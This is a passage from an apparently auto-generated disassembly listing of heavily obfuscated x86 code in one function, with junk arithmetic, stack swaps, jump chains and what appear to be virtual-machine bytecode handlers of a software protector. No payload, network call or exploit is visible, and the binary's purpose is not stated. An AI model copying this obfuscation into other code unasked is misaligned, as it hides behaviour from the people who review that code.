loc_5AAAA6:				; CODE XREF: sub_5A55E5+7988j
		sub	eax, edi
		push	edx
		mov	edx, 401F7061h
		add	eax, 76B81239h
		sub	eax, edx
		jmp	loc_5B86F9
; ---------------------------------------------------------------------------


loc_5AAABA:				; CODE XREF: sub_5A55E5+16A38j
		mov	[esp+2Eh+var_2E], edx
		mov	edx, ebx
		push	edx
		jmp	loc_5B1E48
; ---------------------------------------------------------------------------


loc_5AAAC5:				; CODE XREF: sub_5A55E5+19A4Dj
		pop	ebx
		xchg	edx, [esp+2Eh+var_2E]
		mov	esp, [esp+2Eh+var_2E]
		sub	esp, 4
		mov	[esp+32h+var_32], ebp
		push	esp
		jmp	loc_5B3D43
; ---------------------------------------------------------------------------


loc_5AAAD8:				; CODE XREF: sub_5A55E5+15AF3j
		push	esp
		pop	ecx
		add	ecx, 4
		add	ecx, 4
		xchg	ecx, [esp+36h+var_36]
		pop	esp
		push	205Ah
		mov	[esp+36h+var_36], ecx
		mov	cl, 0AFh
		push	ebx
		mov	bh, 0C7h
		shl	bh, 2
		neg	bh
		push	edx
		push	eax
		mov	al, 9Ch
		mov	dh, al
		pop	eax
		sub	bh, 0B3h
		add	bh, dh
		jmp	loc_5B4B7F
; ---------------------------------------------------------------------------


loc_5AAB0D:				; CODE XREF: sub_5A55E5+4F3Aj
		sub	esi, ebp
		sub	esi, 6A0E4281h
		pop	ebp
		add	ebx, esi
		mov	esi, [esp+52h+var_54+2]
		sub	esp, 4
		mov	[esp+56h+var_58+2], ebp
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		xchg	ebp, [esp+56h+var_58+2]
		mov	esp, [esp+56h+var_58+2]
		sub	ebx, 7B01048Dh
		add	ebx, 7FCD50C3h
		jmp	loc_5BC71F
; ---------------------------------------------------------------------------


loc_5AAB46:				; CODE XREF: sub_5A55E5+AEC6j
		inc	edi
		push	0
		add	[esp+5Ah+var_5C+2], 5A1E7266h
		sub	[esp+5Ah+var_5C+2], edi
		sub	[esp+5Ah+var_5C+2], 5A1E7266h
		pop	edi
		xor	edi, 7ED8F2A0h
		push	edi
		jmp	loc_5B5CA6
; ---------------------------------------------------------------------------


loc_5AAB6A:				; CODE XREF: sub_5A55E5+8FE3j
		pop	edi
		jmp	loc_5B39C1
; ---------------------------------------------------------------------------


loc_5AAB70:				; CODE XREF: sub_5A55E5+A945j
		add	[esp+56h+var_58+2], 4
		jmp	loc_5BA8D2
; ---------------------------------------------------------------------------


loc_5AAB7C:				; CODE XREF: sub_5A55E5+FA44j
		push	edx
		mov	dl, 0C5h
		add	dl, 83h
		xor	dl, 51h
		jmp	loc_5AE4EE
; ---------------------------------------------------------------------------


loc_5AAB8A:				; DATA XREF: sub_5A55E5+4373o
		xor	word ptr [esp+14h+var_14], dx
		xor	dx, word ptr [esp+14h+var_14]
		xor	word ptr [esp+14h+var_14], dx
		push	small 74E4h
		mov	word ptr [esp+16h+var_18+2], dx
		not	word ptr [esp+16h+var_18+2]
		mov	dx, word ptr [esp+16h+var_18+2]
		add	esp, 2
		push	dx
		push	small word ptr [esp+14h+var_14+2]
		mov	dx, word ptr [esp+16h+var_18+2]
		push	ecx
		mov	ecx, esp
		add	ecx, 4
		push	ebp
		mov	ebp, 54E427Fh
		push	ebx
		mov	ebx, 0E5D201FFh
		sub	ebp, ebx
		pop	ebx
		add	ebp, 0E083BF84h
		sub	ecx, ebp
		pop	ebp
		jmp	loc_5B7BC3
; ---------------------------------------------------------------------------


loc_5AABDA:				; CODE XREF: sub_5A55E5+18182j
		add	ebx, 797022BCh
		jmp	loc_5B90EF
; ---------------------------------------------------------------------------


loc_5AABE5:				; CODE XREF: sub_5A55E5:loc_5B89DDj
		sub	esp, 4
		mov	[esp+0], edi
		push	ebx
		jmp	loc_5B0EF6
; ---------------------------------------------------------------------------


loc_5AABF1:				; CODE XREF: sub_5A55E5+1369Dj
		push	esi
		mov	esi, 40AD50A0h
		sub	edi, 1EBA706Ah
		add	edi, esi
		push	edx
		jmp	loc_5B0980
; ---------------------------------------------------------------------------


loc_5AAC05:				; CODE XREF: sub_5A55E5+915Cj
		mov	esp, [esp+2Ah+var_2A]


loc_5AAC08:				; CODE XREF: sub_5A55E5+B334j
		push	3B70h
		mov	[esp+2Eh+var_2E], edi
		push	edx
		mov	edx, esp
		add	edx, 4
		sub	edx, 4
		push	edx
		push	[esp+36h+var_32]
		mov	edx, [esp+3Ah+var_3A]
		jmp	loc_5AFE68
; ---------------------------------------------------------------------------


loc_5AAC29:				; CODE XREF: sub_5A55E5+6A44j
		pop	[esp+3Ah+var_3A]
		push	esi
		jmp	loc_5B1F68
; ---------------------------------------------------------------------------


loc_5AAC32:				; CODE XREF: sub_5A55E5+6C15j
		pop	edx
		sub	al, 0CAh
		jmp	loc_5AC1D0
; ---------------------------------------------------------------------------


loc_5AAC3A:				; CODE XREF: sub_5A55E5+EDEFj
		add	ebp, 4
		add	ebp, 4
		jmp	loc_5BDB91
; ---------------------------------------------------------------------------


loc_5AAC4B:				; CODE XREF: sub_5A55E5+EFB9j
		dec	ebx
		dec	ebx
		push	ebp
		mov	ebp, 4BE70C5Fh
		inc	ebp
		jmp	loc_5BEF2A
; ---------------------------------------------------------------------------


loc_5AAC59:				; CODE XREF: sub_5A55E5+10C00j
		add	eax, 3818424Bh
		sub	eax, 7E084570h
		or	ecx, eax
		pop	eax
		jmp	loc_5AFA9E
; ---------------------------------------------------------------------------


loc_5AAC6B:				; CODE XREF: sub_5A55E5+4BFFj
		xor	eax, edi
		mov	edi, [esp+24h+var_26+2]
		add	esp, 4
		sub	ecx, 38E6579Ch
		add	ecx, eax
		jmp	loc_5B2415
; ---------------------------------------------------------------------------


loc_5AAC80:				; CODE XREF: sub_5A55E5+CF52j
		mov	[esp+20h+var_22+2], edi
		mov	edi, 4E323BB4h
		sub	ecx, edi
		pop	edi
		push	3E6Ah
		mov	[esp+20h+var_22+2], edx
		jmp	loc_5B24BC
; ---------------------------------------------------------------------------


loc_5AAC98:				; CODE XREF: sub_5A55E5+194CFj
		mov	[esp+20h+var_22+2], edx
		sub	esp, 4
		mov	[esp+24h+var_26+2], ebx
		mov	bl, 8Ah
		push	ecx
		jmp	loc_5B6895
; ---------------------------------------------------------------------------


loc_5AACAC:				; CODE XREF: sub_5A55E5+5A0Cj
		add	esp, 4
		jmp	loc_5BB5A8
; ---------------------------------------------------------------------------


loc_5AACB7:				; CODE XREF: sub_5A55E5+5C30j
		mov	[esp+24h+var_26+2], ebx
		mov	ebx, esp
		jmp	loc_5AE6D7
; ---------------------------------------------------------------------------


loc_5AACC1:				; CODE XREF: sub_5A55E5+B01Dj
		and	ebx, 13694E53h
		push	ecx
		mov	ecx, 22F26DDh
		jmp	loc_5B6C43
; ---------------------------------------------------------------------------


loc_5AACD2:				; CODE XREF: sub_5A55E5+197DEj
		push	ax
		push	ecx
		jmp	loc_5BD5BE
; ---------------------------------------------------------------------------


loc_5AACDA:				; CODE XREF: sub_5A55E5+195BAj
		mov	edx, [esp+2Eh+var_2E]
		add	esp, 4
		add	edx, ebp
		mov	ebp, [esp+2Ah+var_2A]
		add	esp, 4
		add	edx, 4
		xchg	edx, [esp+26h+var_26]
		pop	esp
		push	edx
		mov	edx, 778F4847h
		not	edx
		push	ecx
		mov	ecx, 67E52A6Dh
		jmp	loc_5B73CA
; ---------------------------------------------------------------------------


loc_5AAD05:				; CODE XREF: sub_5A55E5+115B9j
		mov	ebp, [esp+2Ah+var_2A]
		jmp	loc_5BB8B4
; ---------------------------------------------------------------------------


loc_5AAD0D:				; CODE XREF: sub_5A55E5+180C2j
		sub	esp, 4
		mov	[esp+2Eh+var_2E], ecx
		push	ebx
		mov	bl, 0E0h
		sub	esp, 4
		jmp	loc_5AF28B
; ---------------------------------------------------------------------------


loc_5AAD24:				; CODE XREF: sub_5A55E5+4CB2j
		add	esp, 4
		sub	edx, 56BB4F5Eh
		add	edx, edi
		push	esi
		mov	esi, 24101F60h
		xor	esi, 4BFC32BBh
		add	esi, 0FFFFFFFFh
		jmp	loc_5B55F0
; ---------------------------------------------------------------------------


loc_5AAD49:				; CODE XREF: sub_5A55E5+805Fj
		add	esi, 721188B8h
		jmp	loc_5AAF8E
; ---------------------------------------------------------------------------


loc_5AAD54:				; CODE XREF: sub_5A55E5+D5FBj
		mov	[esp+20h+var_22+2], esi
		push	4C6B4C6Dh
		mov	esi, [esp+24h+var_26+2]
		jmp	loc_5B47CF
; ---------------------------------------------------------------------------


loc_5AAD64:				; CODE XREF: sub_5A55E5+7273j
		add	esp, 2
		push	bx
		mov	bh, 82h
		add	dh, bh
		jmp	loc_5B3D7D
; ---------------------------------------------------------------------------


loc_5AAD75:				; CODE XREF: sub_5A55E5+8199j
		pop	ecx
		sub	esi, 26291CFEh
		add	esi, ebp
		add	esi, 26291CFEh
		pop	ebp
		xchg	esi, [esp+1Ah+var_1C+2]
		mov	esp, [esp+1Ah+var_1C+2]
		rol	[esp+1Ah+var_1C+2], cl
		pushf
		jmp	loc_5B9EED
; ---------------------------------------------------------------------------


loc_5AAD94:				; CODE XREF: sub_5A55E5+AF92j
		mov	ecx, ebp
		mov	ebp, [esp+0]
		add	esp, 4
		add	ebp, ecx
		push	[esp+1Ah+var_1C+2]
		mov	ecx, [esp+0]
		jmp	loc_5B6965
; ---------------------------------------------------------------------------


loc_5AADA9:				; CODE XREF: sub_5A55E5+E76Aj
		push	eax
		push	ebp
		mov	ebp, 22230376h
		dec	ebp
		jmp	loc_5AB901
; ---------------------------------------------------------------------------


loc_5AADB6:				; CODE XREF: sub_5A55E5+13011j
		push	esi
		mov	esi, 4
		sub	edi, 64A5BBCh
		add	edi, 71966CBDh
		push	ecx
		jmp	loc_5B9160
; ---------------------------------------------------------------------------


loc_5AADCE:				; CODE XREF: sub_5A55E5+1942Dj
		mov	[esp+2Eh+var_2E], edi
		push	esi
		mov	esi, 437800DDh
		mov	edi, 0BC87FF27h
		add	edi, esi
		pop	esi
		add	esi, edi
		jmp	loc_5B6386
; ---------------------------------------------------------------------------


loc_5AADE6:				; CODE XREF: sub_5A55E5+160E3j
		mov	edi, 0C3E2117h
		neg	edi
		neg	edi
		sub	esp, 4
		mov	[esp+32h+var_32], esi
		jmp	loc_5B78D3
; ---------------------------------------------------------------------------


loc_5AADFD:				; CODE XREF: sub_5A55E5+10CC4j
		add	bx, 4881h
		sub	bx, ax
		sub	bx, 4881h
		push	esi
		jmp	loc_5B01AF
; ---------------------------------------------------------------------------


loc_5AAE10:				; CODE XREF: sub_5A55E5+C810j
		push	ecx
		mov	ch, 91h
		sub	al, ch
		pop	ecx
		add	al, dh
		push	ecx
		jmp	loc_5B9227
; ---------------------------------------------------------------------------


loc_5AAE1E:				; CODE XREF: sub_5A55E5+C5C9j
		pop	esi
		push	edx
		mov	edx, 51190E8Ch
		or	edx, 554F2DD7h
		xor	edx, 63144A30h
		not	edx
		not	edx
		xor	edx, 4B7D077Ch
		add	edx, 0CA4FE168h
		jmp	loc_5B5ECA
; ---------------------------------------------------------------------------


loc_5AAE46:				; CODE XREF: sub_5A55E5+AE3Dj
		dec	ecx
		inc	ecx
		push	edi
		mov	edi, 6056D3D7h
		add	ecx, edi
		pop	edi
		mov	ebp, ecx
		pop	ecx
		inc	ebp
		xchg	ebx, ebp
		neg	ebx
		xchg	ebx, ebp
		shr	ebp, 6
		shl	ebp, 7
		push	edx
		mov	edx, 1B893E8h
		xor	ebp, edx
		jmp	loc_5AB67E
; ---------------------------------------------------------------------------


loc_5AAE6E:				; CODE XREF: sub_5A55E5+C45Fj
		push	edx
		mov	dh, ah
		mov	cl, dh
		pop	edx
		jmp	loc_5ACA62
; ---------------------------------------------------------------------------


loc_5AAE79:				; CODE XREF: sub_5A55E5+6E67j
		push	ax
		push	edx
		mov	dh, 0E3h
		mov	ah, 0E5h
		xor	ah, dh
		pop	edx
		sub	bh, ah
		pop	ax
		sub	dl, bh
		pop	ebx
		mov	eax, [esp+36h+var_36]
		add	esp, 4
		add	al, 88h
		add	al, dl
		push	dx
		mov	dl, 88h
		sub	al, dl
		jmp	loc_5B695A
; ---------------------------------------------------------------------------


loc_5AAEA2:				; CODE XREF: sub_5A55E5+FB37j
		pop	ebp
		add	esp, 4
		xor	esi, [esp+2Ch+var_2E+2]
		xor	[esp+2Ch+var_2E+2], esi
		jmp	loc_5B7312
; ---------------------------------------------------------------------------


loc_5AAEB4:				; CODE XREF: sub_5A55E5+53D9j
		sub	ebp, eax
		pop	eax
		jmp	loc_5BE850
; ---------------------------------------------------------------------------


loc_5AAEBC:				; CODE XREF: sub_5A55E5+137FBj
		xor	[esp+22h+var_22], ebp
		xor	ebp, [esp+22h+var_22]
		jmp	loc_5BE1B5
; ---------------------------------------------------------------------------


loc_5AAEC7:				; CODE XREF: sub_5A55E5+CE9Dj
		mov	ebp, 5F54CF2h
		or	edi, ebp
		pop	ebp
		not	edi
		sub	edi, 6C8BFB49h
		add	esi, 1FA35D2Ch
		add	esi, edi
		sub	esi, 1FA35D2Ch
		pop	edi
		sub	ecx, 621D05C4h
		push	edi
		mov	edi, 6A4927A5h
		add	ecx, edi
		pop	edi
		add	ecx, esi
		sub	ecx, 6A4927A5h
		add	ecx, 621D05C4h
		jmp	loc_5B733B
; ---------------------------------------------------------------------------


loc_5AAF08:				; CODE XREF: sub_5A55E5+14A16j
		sub	eax, 0FFFFFFFFh
		or	eax, 55F026CEh
		xor	eax, 77F266CAh
		sub	ebp, eax
		mov	eax, [esp+1Ah+var_1C+2]
		push	edi
		push	esp
		pop	edi
		push	2517h
		mov	[esp+22h+var_22], edx
		mov	edx, 4
		add	edi, edx
		jmp	loc_5B2048
; ---------------------------------------------------------------------------


loc_5AAF31:				; CODE XREF: sub_5A55E5+E7E2j
		sub	ebx, 4
		xchg	ebx, [esp+22h+var_22]
		jmp	loc_5B1446
; ---------------------------------------------------------------------------


loc_5AAF3F:				; DATA XREF: sub_5A55E5+417Fo
		lodsb
		add	al, 15h
		add	al, 0E9h
		add	al, 56h
		push	cx
		mov	cl, 93h
		sub	al, cl
		pop	cx
		push	edx
		mov	dh, 26h
		and	dh, 6Bh
		xor	dh, 27h
		and	dh, 9Dh
		sub	dh, 8Fh
		sub	al, 0AFh
		jmp	loc_5B4253
; ---------------------------------------------------------------------------


loc_5AAF64:				; CODE XREF: sub_5A55E5+966Aj
		mov	ebx, 73953D92h
		shr	ebx, 8
		push	esi
		mov	esi, 5CBC15BBh
		dec	esi
		jmp	loc_5AE3AB
; ---------------------------------------------------------------------------


loc_5AAF78:				; CODE XREF: sub_5A55E5+15E85j
		add	eax, ebp
		add	eax, 33AE1338h
		pop	ebp
		jmp	loc_5BD82F
; ---------------------------------------------------------------------------


loc_5AAF85:				; CODE XREF: sub_5A55E5+D9E3j
		shr	eax, 8
		inc	eax
		jmp	loc_5B99AA
; ---------------------------------------------------------------------------


loc_5AAF8E:				; CODE XREF: sub_5A55E5+576Aj
		sub	ecx, esi
		jmp	loc_5B5E75
; ---------------------------------------------------------------------------


loc_5AAF95:				; CODE XREF: sub_5A55E5+17AB7j
		pop	eax
		pop	ebp
		push	esi
		mov	esi, 6C6C2075h
		push	548Dh
		mov	[esp+20h+var_22+2], ebp
		push	eax
		mov	eax, 745B3DEAh
		jmp	loc_5BB7C8
; ---------------------------------------------------------------------------


loc_5AAFB0:				; CODE XREF: sub_5A55E5+B2C0j
		pop	eax
		mov	edi, edx
		pop	edx
		push	ecx
		jmp	loc_5B5977
; ---------------------------------------------------------------------------


loc_5AAFBA:				; CODE XREF: sub_5A55E5+1229Ej
		push	1145h
		mov	[esp+24h+var_26+2], ecx
		mov	ecx, 192E17C1h
		inc	ecx
		or	ecx, 2D82148Bh
		sub	ecx, 1
		or	ecx, 7DDC6852h
		add	ecx, 0E043FFF6h
		jmp	loc_5B2381
; ---------------------------------------------------------------------------


loc_5AAFE2:				; CODE XREF: sub_5A55E5+8FC7j
		push	1199h
		jmp	loc_5B5D47
; ---------------------------------------------------------------------------


loc_5AAFEC:				; CODE XREF: sub_5A55E5+C12Cj
		mov	edi, edx
		mov	edx, [esp+28h+var_2A+2]
		jmp	loc_5AACAC
; ---------------------------------------------------------------------------


loc_5AAFF6:				; CODE XREF: sub_5A55E5+1303Fj
		push	esi
		xor	[esp+2Ch+var_2E+2], 4EC57BF5h
		push	[esp+2Ch+var_2E+2]
		pop	edi
		add	esp, 4
		jmp	loc_5B9C28
; ---------------------------------------------------------------------------


loc_5AB00A:				; CODE XREF: sub_5A55E5+B134j
		push	ebp
		jmp	loc_5B88E3
; ---------------------------------------------------------------------------


loc_5AB010:				; CODE XREF: sub_5A55E5+19E60j
		jmp	loc_5A9A27
; ---------------------------------------------------------------------------


loc_5AB015:				; CODE XREF: sub_5A55E5+C41Aj
		add	eax, 7BA84205h
		add	eax, edx
		sub	eax, 7BA84205h
		mov	edx, [esp+2Ch+var_2E+2]
		add	esp, 4
		push	eax
		push	[esp+2Ch+var_2A+2]
		pop	eax
		pop	[esp+2Ch+var_2E+2]
		mov	esp, [esp+28h+var_2A+2]
		jmp	loc_5B6F13
; ---------------------------------------------------------------------------


loc_5AB03B:				; CODE XREF: sub_5A55E5+10C8Aj
		mov	esp, [esp+28h+var_2A+2]
		dec	byte ptr [esp+28h+var_2A+2]
		pushf
		jmp	loc_5A9A27
; ---------------------------------------------------------------------------


loc_5AB047:				; CODE XREF: sub_5A55E5+151ABj
		sub	edi, 52601219h
		jmp	loc_5AB92F
; ---------------------------------------------------------------------------


loc_5AB052:				; CODE XREF: sub_5A55E5+A015j
		sub	esp, 4
		jmp	loc_5BED15
; ---------------------------------------------------------------------------


loc_5AB05A:				; CODE XREF: sub_5A55E5+75D4j
		push	[esp+30h+var_2E+2]
		pop	eax
		jmp	loc_5BDB3B
; ---------------------------------------------------------------------------


loc_5AB064:				; CODE XREF: sub_5A55E5+16B6Fj
		mov	eax, 4
		add	edx, 321A1D41h
		add	edx, eax
		sub	edx, 321A1D41h
		jmp	loc_5BD80E
; ---------------------------------------------------------------------------


loc_5AB07C:				; CODE XREF: sub_5A55E5+C495j
		push	ecx
		mov	ecx, esp
		add	ecx, 4
		add	ecx, 4
		xchg	ecx, [esp+34h+var_36+2]
		jmp	loc_5ABA68
; ---------------------------------------------------------------------------


loc_5AB090:				; CODE XREF: sub_5A55E5+12CB8j
		pop	edx
		and	ecx, 271764A8h
		inc	ecx
		push	edx
		jmp	loc_5B77BB
; ---------------------------------------------------------------------------


loc_5AB09E:				; CODE XREF: sub_5A55E5+1518Bj
		sub	ebx, 0F6404A39h
		add	edx, 497B2E04h
		sub	edx, ebx
		jmp	loc_5B717C
; ---------------------------------------------------------------------------


loc_5AB0B1:				; CODE XREF: sub_5A55E5+9023j
		or	eax, eax
		jz	loc_5B54AE
		push	eax
		push	0D78h
		mov	[esp+3Ch+var_3E+2], edi
		push	esi
		push	0BE79BAh
		push	[esp+44h+var_46+2]
		jmp	loc_5BBE2B
; ---------------------------------------------------------------------------


loc_5AB0D0:				; CODE XREF: sub_5A55E5+D057j
		pop	ecx
		push	eax
		push	[esp+48h+var_46+2]
		jmp	loc_5BDFEE
; ---------------------------------------------------------------------------


loc_5AB0DB:				; DATA XREF: sub_5A55E5+43F7o
		lodsd
		xor	eax, ebx
		push	ecx
		jmp	loc_5B3F9E
; ---------------------------------------------------------------------------


loc_5AB0E4:				; CODE XREF: sub_5A55E5+128F9j
		push	esi
		mov	esi, 2ADC4100h
		jmp	loc_5B5A6A
; ---------------------------------------------------------------------------


loc_5AB0EF:				; CODE XREF: sub_5A55E5+44E1j
		add	edx, 0D1C1A87h
		jmp	loc_5B233E
; ---------------------------------------------------------------------------


loc_5AB0FA:				; CODE XREF: sub_5A55E5+13435j
		mov	edi, 1B9D26C7h
		inc	edi
		and	edi, 7B985304h
		neg	edi
		sub	edi, 8B74A4EEh
		sub	eax, edi
		pop	edi
		push	edx
		mov	edx, 0A24E9E4h
		sub	eax, edx
		jmp	loc_5BB0DD
; ---------------------------------------------------------------------------


loc_5AB11E:				; CODE XREF: sub_5A55E5+102C2j
		pop	ebp
		add	edi, 4
		xor	edi, [esp+24h+var_26+2]
		xor	[esp+24h+var_26+2], edi
		xor	edi, [esp+24h+var_26+2]
		mov	esp, [esp+24h+var_26+2]
		push	1A9Eh
		jmp	loc_5B89C1
; ---------------------------------------------------------------------------


loc_5AB13B:				; CODE XREF: sub_5A55E5+15CF5j
		pop	ebx
		jmp	loc_5AE1E5
; ---------------------------------------------------------------------------


loc_5AB141:				; CODE XREF: sub_5A55E5+44D3j
		push	0
		sub	[esp+24h+var_26+2], ebp
		jmp	loc_5B4CCD
; ---------------------------------------------------------------------------


loc_5AB14E:				; CODE XREF: sub_5A55E5+4958j
		sub	al, 0C9h
		pop	cx
		add	al, 0A7h
		jmp	loc_5B2A26
; ---------------------------------------------------------------------------


loc_5AB159:				; DATA XREF: sub_5A55E5+4313o
		mov	sp, word ptr [esp+14h+var_14]
		jmp	loc_5A9A27
; ---------------------------------------------------------------------------


loc_5AB162:				; CODE XREF: sub_5A55E5+D49Cj
		mov	[esp+14h+var_14], esi
		push	[esp+14h+var_10]
		push	[esp+18h+var_18]
		pop	esi
		push	ecx
		push	esp
		jmp	loc_5BD97C
; ---------------------------------------------------------------------------


loc_5AB174:				; CODE XREF: sub_5A55E5+F975j
		xor	bl, al
		movzx	eax, al
		jmp	loc_5BF50D
; ---------------------------------------------------------------------------


loc_5AB17E:				; CODE XREF: sub_5A55E5+B8C3j
		xor	ebx, 584D2517h
		dec	ebx
		sub	ebx, 911A8152h
		sub	ecx, ebx
		pop	ebx
		add	ebp, ecx
		pop	ecx
		sub	ebp, 14C8DCC4h
		add	ecx, ebp
		pop	ebp
		add	ecx, 4
		push	ecx
		push	[esp+18h+var_14]
		push	[esp+1Ch+var_1C]
		pop	ecx
		jmp	loc_5BA393
; ---------------------------------------------------------------------------


loc_5AB1AE:				; CODE XREF: sub_5A55E5+8DC1j
		pop	ebp
		not	edi
		push	eax
		mov	eax, 78E2141Bh
		neg	eax
		dec	eax
		sub	eax, 49D32543h
		add	eax, 6CE91DDDh
		xor	eax, 0CD43C3BDh
		add	edi, eax
		pop	eax
		jmp	loc_5B5F5E
; ---------------------------------------------------------------------------


loc_5AB1D1:				; CODE XREF: sub_5A55E5+181ADj
		xor	[esp+18h+var_18], esi
		xor	esi, [esp+18h+var_18]
		mov	esp, [esp+18h+var_18]
		mov	eax, [esp+18h+var_18]
		sub	esp, 4
		jmp	loc_5BB10E
; ---------------------------------------------------------------------------


loc_5AB1E5:				; CODE XREF: sub_5A55E5+12D1Fj
		push	small 7A51h
		mov	[esp+0], dx
		push	eax
		mov	ah, 85h
		mov	dl, 0C7h
		sub	dl, 9Eh
		add	dl, 0EAh
		add	dl, ah
		sub	dl, 0EAh
		jmp	loc_5B7307
; ---------------------------------------------------------------------------


loc_5AB202:				; CODE XREF: sub_5A55E5+EFAEj
		and	ecx, 6C1E2CE2h
		jmp	loc_5BAD04
; ---------------------------------------------------------------------------


loc_5AB20D:				; CODE XREF: sub_5A55E5+8D54j
		add	esp, 4
		push	77DDh
		jmp	loc_5AACB7
; ---------------------------------------------------------------------------


loc_5AB21A:				; CODE XREF: sub_5A55E5+106A9j
		mov	ebp, esp
		add	ebp, 4
		sub	ebp, 4
		xchg	ebp, [esp+22h+var_22]
		pop	esp
		mov	[esp+0], edi
		jmp	loc_5B4155
; ---------------------------------------------------------------------------


loc_5AB234:				; CODE XREF: sub_5A55E5+A335j
		add	dword ptr [esp+0], 1
		pop	ebp
		jmp	loc_5B843E
; ---------------------------------------------------------------------------


loc_5AB23E:				; CODE XREF: sub_5A55E5+BA4Cj
		mov	eax, [esp+1Ah+var_1C+2]
		jmp	loc_5AA791
; ---------------------------------------------------------------------------


loc_5AB246:				; CODE XREF: sub_5A55E5+1179Fj
		xor	eax, [esp+1Ah+var_1C+2]
		pop	esp
		add	word ptr [esp+16h+var_18+2], ax
		pushf
		jmp	loc_5A9A27
; ---------------------------------------------------------------------------


loc_5AB254:				; CODE XREF: sub_5A55E5+6007j
		pop	edi
		push	eax
		sub	esp, 4
		mov	[esp+0], ecx
		mov	ecx, 64BD0898h
		jmp	loc_5B0262
; ---------------------------------------------------------------------------


loc_5AB269:				; CODE XREF: sub_5A55E5+17F92j
		sub	ebp, 571FB277h
		add	edx, 5CB000D5h
		jmp	loc_5B60C5
; ---------------------------------------------------------------------------


loc_5AB27A:				; CODE XREF: sub_5A55E5+AA88j
		mov	edi, 3D832E41h
		jmp	loc_5ABF5F
; ---------------------------------------------------------------------------


loc_5AB284:				; CODE XREF: sub_5A55E5+6509j
		pop	esi
		add	edx, 46A911A6h
		add	eax, 2C0B48DAh
		sub	eax, 5626362Ch
		jmp	loc_5BBC98
; ---------------------------------------------------------------------------
		push	dword ptr [edi+1Ch]
		popf
		pop	ax
		sbb	byte ptr [esp+18h+var_18], al
		pushf
		jmp	loc_5A9A27
; ---------------------------------------------------------------------------


loc_5AB2A9:				; CODE XREF: sub_5A55E5+1488Fj
		add	ebp, 8FE4A4E1h
		add	edi, ebp
		pop	ebp
		xchg	edi, [esp+18h+var_18]
		pop	esp
		mov	edi, 54237503h
		jmp	loc_5B6EA1
; ---------------------------------------------------------------------------


loc_5AB2C0:				; CODE XREF: sub_5A55E5+1346Dj
		pop	ebx
		sub	esp, 4
		mov	[esp+14h+var_14], edi
		push	[esp+14h+var_10]
		pop	edi
		pop	[esp+14h+var_14]
		pop	esp
		mov	word ptr [esp+0Ch+var_C], ax
		jmp	loc_5B453E
; ---------------------------------------------------------------------------


loc_5AB2D9:				; CODE XREF: sub_5A55E5+16AA8j
		sub	[esp+0Ch+var_C], edx
		pop	edx
		neg	edx
		xor	edx, 0B740E143h
		sub	ebx, edx
		pop	edx
		push	esi
		jmp	loc_5B6539
; ---------------------------------------------------------------------------


loc_5AB2EE:				; CODE XREF: sub_5A55E5+122FDj
		mov	[esp+8+var_8], esi
		mov	esi, esp
		push	ecx
		push	0F6Ah
		mov	[esp+10h+var_10], edi
		push	1F5Ah
		mov	[esp+14h+var_14], ebp
		jmp	loc_5BEE9E
; ---------------------------------------------------------------------------


loc_5AB309:				; CODE XREF: sub_5A55E5+19298j
		mov	ecx, 47803D9h
		jmp	loc_5BB069
; ---------------------------------------------------------------------------


loc_5AB313:				; CODE XREF: sub_5A55E5+9247j
		mov	ebx, 4
		add	[esp+14h+var_10], ebx
		pop	ebx
		push	[esp+10h+var_10]
		pop	edi
		push	edx
		mov	edx, esp
		add	edx, 4
		push	1296h
		mov	[esp+18h+var_18], eax
		mov	eax, 14B728DFh
		jmp	loc_5BE1ED
; ---------------------------------------------------------------------------


loc_5AB33C:				; CODE XREF: sub_5A55E5+9478j
		mov	ecx, 74944751h
		jmp	loc_5BE863
; ---------------------------------------------------------------------------


loc_5AB346:				; CODE XREF: sub_5A55E5+BCD9j
		push	edi
		mov	edi, 4
		add	ebx, edi
		mov	edi, [esp+1Ch+var_1C]
		jmp	loc_5AFE94
; ---------------------------------------------------------------------------


loc_5AB356:				; CODE XREF: sub_5A55E5+14D08j
		xor	ebx, 55C7483Ch
		jmp	loc_5B0A77
; ---------------------------------------------------------------------------


loc_5AB361:				; CODE XREF: sub_5A55E5+9C99j
		xchg	ebx, [esp+1Ch+var_1C]
		pop	esp
		mov	[esp+18h+var_18], ebx
		push	6AE87E53h
		push	[esp+1Ch+var_1C]
		pop	ebx
		push	esi
		mov	esi, esp
		add	esi, 4
		add	esi, 4
		jmp	loc_5AE661
; ---------------------------------------------------------------------------


loc_5AB385:				; CODE XREF: sub_5A55E5+18080j
		pop	edx
		add	ebx, 4
		xor	ebx, [esp+1Ch+var_1C]
		xor	[esp+1Ch+var_1C], ebx
		xor	ebx, [esp+1Ch+var_1C]
		mov	esp, [esp+1Ch+var_1C]
		push	6E3Eh
		mov	[esp+20h+var_22+2], eax
		mov	eax, esp
		jmp	loc_5BE1E3
; ---------------------------------------------------------------------------


loc_5AB3A4:				; CODE XREF: sub_5A55E5+129B8j
		xchg	eax, ecx
		xor	eax, 3D6A5CF4h
		add	ebp, eax
		pop	eax
		sub	eax, ebp
		mov	ebp, [esp+1Ch+var_1C]
		add	esp, 4
		push	1476h
		mov	[esp+1Ch+var_1C], edx
		push	325Eh
		mov	[esp+20h+var_22+2], eax
		push	edx
		jmp	loc_5B22CE
; ---------------------------------------------------------------------------


loc_5AB3CB:				; CODE XREF: sub_5A55E5+10E1Aj
		neg	edx
		neg	edx
		xor	edx, edi
		xor	edi, edx
		xor	edx, edi
		xchg	eax, edi
		not	eax
		xchg	eax, edi
		xor	edx, edi
		xor	edi, edx
		xor	edx, edi
		jmp	loc_5BE73A
; ---------------------------------------------------------------------------


loc_5AB3E4:				; CODE XREF: sub_5A55E5+917Fj
		push	[esp+24h+var_26+2]
		pop	ebp
		add	esp, 4
		add	esp, 4
		push	3678h
		mov	[esp+20h+var_22+2], eax
		mov	eax, 4
		sub	ebp, 1AD0693h
		add	ebp, eax
		add	ebp, 1AD0693h
		pop	eax
		sub	esp, 4
		mov	[esp+20h+var_22+2], esi
		push	ecx
		jmp	loc_5AF582
; ---------------------------------------------------------------------------


loc_5AB41C:				; CODE XREF: sub_5A55E5+E90Ej
		pop	esp
		push	eax
		mov	eax, 56EF0852h
		xor	eax, 0A706B4h
		jmp	loc_5BDD8B
; ---------------------------------------------------------------------------


loc_5AB42D:				; CODE XREF: sub_5A55E5+19063j
		add	ebx, 786925A0h
		jmp	loc_5B81C4
; ---------------------------------------------------------------------------


loc_5AB438:				; CODE XREF: sub_5A55E5+14CB6j
		dec	ebx
		jmp	loc_5B752A
; ---------------------------------------------------------------------------


loc_5AB43E:				; DATA XREF: sub_5A55E5+4323o
		lodsb
